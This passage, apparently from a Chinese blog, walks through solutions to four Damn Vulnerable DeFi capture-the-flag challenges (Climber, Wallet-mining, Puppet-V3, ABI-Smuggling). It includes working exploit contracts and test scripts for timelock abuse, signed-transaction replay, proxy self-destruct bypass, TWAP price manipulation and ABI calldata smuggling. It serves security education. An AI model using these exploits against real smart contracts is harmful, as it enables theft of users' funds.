attack2() external {console.log("scheduled");console.log( timeClock.delay() );address[] memory targets = new address[](5);uint[] memory values = new uint[](5);bytes[] memory calldatas = new bytes[](5);targets[0] = address(timeClock);values[0] = 0;calldatas[0] = abi.encodeWithSignature("grantRole(bytes32,address)",PROPOSER_ROLE,address(this));targets[1] = address(timeClock);values[1] = 0;calldatas[1] = abi.encodeWithSignature("updateDelay(uint64)",0);targets[2] = vault;values[2] = 0;calldatas[2] = abi.encodeWithSignature("upgradeTo(address)",upgrade);targets[3] = address(this);values[3] = 0;calldatas[3] = abi.encodeWithSignature("attack2()");targets[4] = vault;values[4] = 0;calldatas[4] = abi.encodeWithSignature("withdraw(address,address,uint256)",token,owner,0);timeClock.schedule(targets, values, calldatas, "");}}

实际操作见test/climber/climber.challenge.js：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const upgradeContract = await (await ethers.getContractFactory('UpgradeClimberVault', player)).deploy();console.log("upgradeContract Inited ... : ",upgradeContract.address);const hacker = await (await ethers.getContractFactory('HackerClimber', player)).deploy(timelock.address,upgradeContract.address,vault.address,token.address);hacker.connect(player).attack();});

13. Wallet-mining

解决思路：

查看最后要求，首先发现要求我们要能够部署（没有私钥）factory、mastercopy合约，且还要在同一个地址。

我们先解决这一问题

// Factory account must have codeexpect(await ethers.provider.getCode(await walletDeployer.fact())).to.not.eq('0x');

这可能吗？我记得合约地址如果通过CREATE来计算：

addr = hash(msg.sender, nonce)

如果是CREATE2，则是

addr = hash("oxff",msg.sender,salt,calldata)

以上表明合约是可以创建出来的，并在创建之前已经可以知道其地址，这使得跨链服务成为可能。

但我们创建合约的player很明显也不是链上创建者的地址，能做到吗？

OP丢失了价值2000万美元的OP通证，这里主要问题就是重放攻击！

但为什么能重放呢，这是因为在创建合约时，发出的经过签名的data未经过EIP155保护，不含有ChainId，因此简单重放就能假冒受害者完成该nonce下的部署。（部署合约需要使用sendRawTransaction发送已签名的交易数据。因为部署合约的交易是一笔特殊的交易类型，需要在交易数据中包含新合约的字节码，以及其他合约初始化参数。这些信息需要通过部署合约前的合约编译得到，然后使用私钥对交易数据进行签名，并将签名后的交易数据发送给以太坊网络进行处理。而RPC节点会通过RLP反序列化反推出公钥、地址等信息，从而可以实现冒充）。再补充一下（一旦交易被签名后，交易数据就不可更改，直到交易被打包进区块中。当交易到达 RPC 节点时，节点会验证交易的签名是否有效，并将交易解析为 RLP 格式，然后将其广播到整个网络中。在这个过程中，签名是不会被修改的。RLP 格式包含交易的各个字段，包括发送方地址。）

我们先从etherscan上找到raw data（more -> get Raw transaction Hash），随后在test/wallet-mining/wallet-mining.challenge.js中进行攻击：

console.log("player address is %s",player.address);const deployCode = require("./deployCode.json");const victim = "0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a";await player.sendTransaction({to : victim,value : ethers.utils.parseEther("1")});console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));console.log("deploying safe ...");const deployCopy = await (await ethers.provider.sendTransaction(deployCode.copy)).wait();console.log("Success! Safe deployed at %s",deployCopy.contractAddress);console.log("random Transaction");(await ethers.provider.sendTransaction(deployCode.random)).wait();console.log("deploying factory ...");const deployFac = await (await ethers.provider.sendTransaction(deployCode.fact)).wait();console.log("Success! Fac deployed at %s",deployFac.contractAddress);console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));

此时，尽管是player假冒，但扣的依旧是victim的ETH，这就是签名重放的危害。（切记一定要注意顺序，因为nonce仍是victim的地址）。

我们接下来的传入不会通过WalletDeployer进行，因为它创建proxy时所指定的逻辑地址是copy。而我们则是想转账回去，所以我们自己手写攻击合约：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "hardhat/console.sol";contract HackerWalletMining1 {constructor(){}function tryHack(IERC20 token,address receiver) public{if (token.balanceOf(address(this))!=0){console.log("attacking...");token.transfer(receiver,token.balanceOf(address(this)));console.log("finish transfering");}}}

很明显，我们要通过proxyFactory生成合约，如果对应token有余额，则我们会进行转出。

const hacker1 = await (await ethers.getContractFactory('HackerWalletMining1', player)).deploy();const calldata = hacker1.interface.encodeFunctionData("tryHack(address,address)",[token.address,player.address]);const factory = (await ethers.getContractFactory("GnosisSafeProxyFactory")).attach(deployFac.contractAddress);console.log("Get Factory instance : %s",factory.address);for (i = 0; i < 100; i++){ await factory.connect(player).createProxy(hacker1.address,calldata);}

很幸运，我们已经从空闲地址转移出来了通证，下面就是试着拿到walletDeployer中的43个通证了。这个切入点就是看看能不能将合约升级，can返回值永远通过！

我们发现AuthorizerUpgradeable的逻辑合约尚未初始化，所以我们可以初始化并升级合约。但要升级成什么样子？由于walletDeployer中通过staticCall获取信息：

assembly { let m := sload(0)if iszero(extcodesize(m)) {return(0, 0)}let p := mload(0x40)mstore(0x40,add(p,0x44))mstore(p,shl(0xe0,0x4538c4eb))mstore(add(p,0x04),u)mstore(add(p,0x24),a)if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}}

如果我们将合约自毁，就可以绕过这里面的限制。从而有

console.log(await walletDeployer.callStatic.can(player.address,DEPOSIT_ADDRESS)); // True!!!

所以我们编写自毁合约HackerWalletMining2：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";import "hardhat/console.sol";contract HackerWalletMining2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {constructor(){}function hack(address receiver) public{console.log("destruct");selfdestruct(payable(receiver));}function upgradeToAndCall(address imp, bytes memory wat) external payable override {_authorizeUpgrade(imp);_upgradeToAndCallUUPS(imp, wat, true);}function _authorizeUpgrade(address imp) internal override onlyOwner {}}

然后我们在test/wallet-mining/wallet-mining.challenge.js中编写，这里我们通过init获取到逻辑合约的权限，并通过upgradeToAndCall完成自毁。

此时就可以绕过walletDeployer的检查。从而通过发送setup（要求，前面有提过）通过WalletDeployer创建合约并绕过检查。

const logicContract = (await ethers.getContractFactory("AuthorizerUpgradeable")).attach(logicContractAddress);await logicContract.connect(player).init([],[]);const hacker2 = await (await ethers.getContractFactory('HackerWalletMining2', player)).deploy();console.log("hacker 2 contract deployed : %s",hacker2.address);const calldata2 = hacker2.interface.encodeFunctionData("hack(address)",[player.address]);console.log(calldata2);await logicContract.connect(player).upgradeToAndCall(hacker2.address,calldata2);// configure setupconst calldata3 = new ethers.utils.Interface(["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)"]).encodeFunctionData("setup(address[],uint256,address,bytes,address,address,uint256,address)",[[player.address],1,"0x0000000000000000000000000000000000000000",0,"0x0000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000",0,"0x0000000000000000000000000000000000000000",]);console.log("success configured calldata3 ", calldata3);for (i = 0; i < 43 ; i++){await walletDeployer.connect(player).drop(calldata3);}

14. Puppet – V3

解题思路：

Uniswap V3 喂价采用的是time-weighted average price(TWAP)，即随着时间比重算出加权后的价格。所以很明显，在同一笔交易内是不可能完成的了，因此闪电贷的思路可以歇歇了。

整体思路不变，先“砸盘”，等价格下来了(过一段时间)，再借不迟！

我们还是先找到uniswap的Router为0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45。同时为了能够生成实例，安装依赖npm install @uniswap/swap-router-contracts

选用exactInputSingle函数进行交换（已经存在相关的池子）。进行砸盘，并通过轮询，找到合适的价格并入场。

test/puppet-v3/puppet-v3.challenge.js中攻击如下，在110s左右价格就达到了合适的入场点位。

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log("before Swapping...");console.log("token : %s", await token.balanceOf(player.address));console.log("ETH : %s", await ethers.provider.getBalance(player.address));console.log("WETH : %s", await weth.balanceOf(player.address));const routerAddr = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45";const routerJson = require('@uniswap/swap-router-contracts/artifacts/contracts/SwapRouter02.sol/SwapRouter02.json');const router = new ethers.Contract(routerAddr, routerJson.abi, player);console.log("router created ... %s", router.address );await token.connect(player).approve(router.address,PLAYER_INITIAL_TOKEN_BALANCE);await router.connect(player).exactInputSingle([token.address,weth.address,3000,player.address,PLAYER_INITIAL_TOKEN_BALANCE,0,0])console.log("before Swapping...");console.log("token : %s", await token.balanceOf(player.address));console.log("ETH : %s", await ethers.provider.getBalance(player.address));console.log("WETH : %s", await weth.balanceOf(player.address));const value = BigNumber.from(await weth.balanceOf(player.address));for (i = 1; i < 115; i++){time.increase(1);const needToDeposit = await lendingPool.callStatic.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);console.log("after %s seconds",i);console.log(value);console.log(needToDeposit);if (value.gt(needToDeposit)){console.log("exit",i);break;}}time.increase(3);await weth.connect(player).approve(lendingPool.address,await weth.balanceOf(player.address));await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);});

V3 能有效防止价格操纵。。因为随着时间的增加，进入了多人博弈。

15 ABI-Smuggling

解决思路：

检查传入的id

console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));

可知，player允许withdraw而deployer则是sweep。仔细检查，·发现问题可能出现在execute函数中。

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {// Read the 4-bytes selector at the beginning of `actionData`bytes4 selector;uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` beginsassembly {selector := calldataload(calldataOffset)}if (!permissions[getActionId(selector, msg.sender, target)]) {revert NotAllowed();}_beforeFunctionCall(target, actionData);return target.functionCall(actionData);}

这里先计算出calldataOffset从而获取selector，从而验证用户是否具有权限。最后再进行target.functionCall。但用这样解构actionData有没有漏洞呢，我们又没有办法可以实现偷梁换柱呢？

在调用execute时，整体callData如下（注意actionData是）：

FS (4 bytes)函数选择器(Selector)0xaaaaaaaa
0x00 (32 bytes)target(address)…
0x20 (32 bytes)actiondata location0x40
0x40 (32 bytes)actiondata length…
0x60actiondata contens

uint256 calldataOffset = 4 + 32 * 3;实际上就是赵的actiondata开头的bytes4。

这是建立在actiondata location正确指向actiondata length，两者被正确pack的情况。如果我们在location和actiondatalength中间插入一段无意义字节，但仍能够正确指向，evm依旧能够正确识别！(此时不在slot里，不需要严格按照slot 32字节对齐，但最后一定要是32的整数，能够对齐)。

最终生成，详细信息见注释：

0x1cff79cd // execute000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512// address(vault)0000000000000000000000000000000000000000000000000000000000000064// 32 + 32 + 32 + 4 =100 = 0x64（不算一开始的execute）0000000000000000000000000000000000000000000000000000000000000000// random 0 paading (fixed 32 b)d9caed12 // withdraw0000000000000000000000000000000000000000000000000000000000000044// calldata size (4 + 32 + 32 = 68 = 0x44)85fb709d // sweep0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc // recovery.address0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3 // token.address000000000000000000000000000000000000000000000000 // 补全0

具体生成过程见test/abi-smuggling/abi-smuggling.challenge.js

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));const executeSig = await vault.interface.getSighash(await vault.interface.getFunction("execute"));console.log(executeSig);const vaultAddr = await ethers.utils.hexZeroPad(vault.address,32);console.log(vaultAddr);const randoms = await ethers.utils.hexZeroPad("0x0",32);console.log(randoms);// length 32*2 + 4 = 68 = 0x44const actionDataContent = await vault.interface.encodeFunctionData("sweepFunds(address,address)",[recovery.address,token.address]);console.log(actionDataContent);const actionDataLength = await ethers.utils.hexZeroPad("0x44",32);const withdraw = await vault.interface.getSighash(await vault.interface.getFunction("withdraw"));// 32 bytes + 32 bytes + 32bytes + 4 bytes = 100 bytes = 0x64constactionDataStore = await ethers.utils.hexZeroPad("0x64",32)// 32 + 32 + 4 + 32 + 100 + 24 = 224 = 32 * 7 const padding= await ethers.utils.hexZeroPad("0x0",24);const action = await ethers.utils.hexConcat([actionDataStore, randoms, withdraw, actionDataLength, actionDataContent,padding]);const calldata = await ethers.utils.hexConcat([executeSig,vaultAddr,action]);console.log(calldata);await player.sendTransaction({to: vault.address,data : calldata});});

总结

很开心，完成了Damn Vulnerable Defi的挑战。区块链安全真的内容很多，充满机会，但也是黑暗森林，不得不防守。接下来，我会开展DefiHackLabs的分享。欢迎关注！

BTW，我目前也有想换一个工作环境，Open to Opportunities!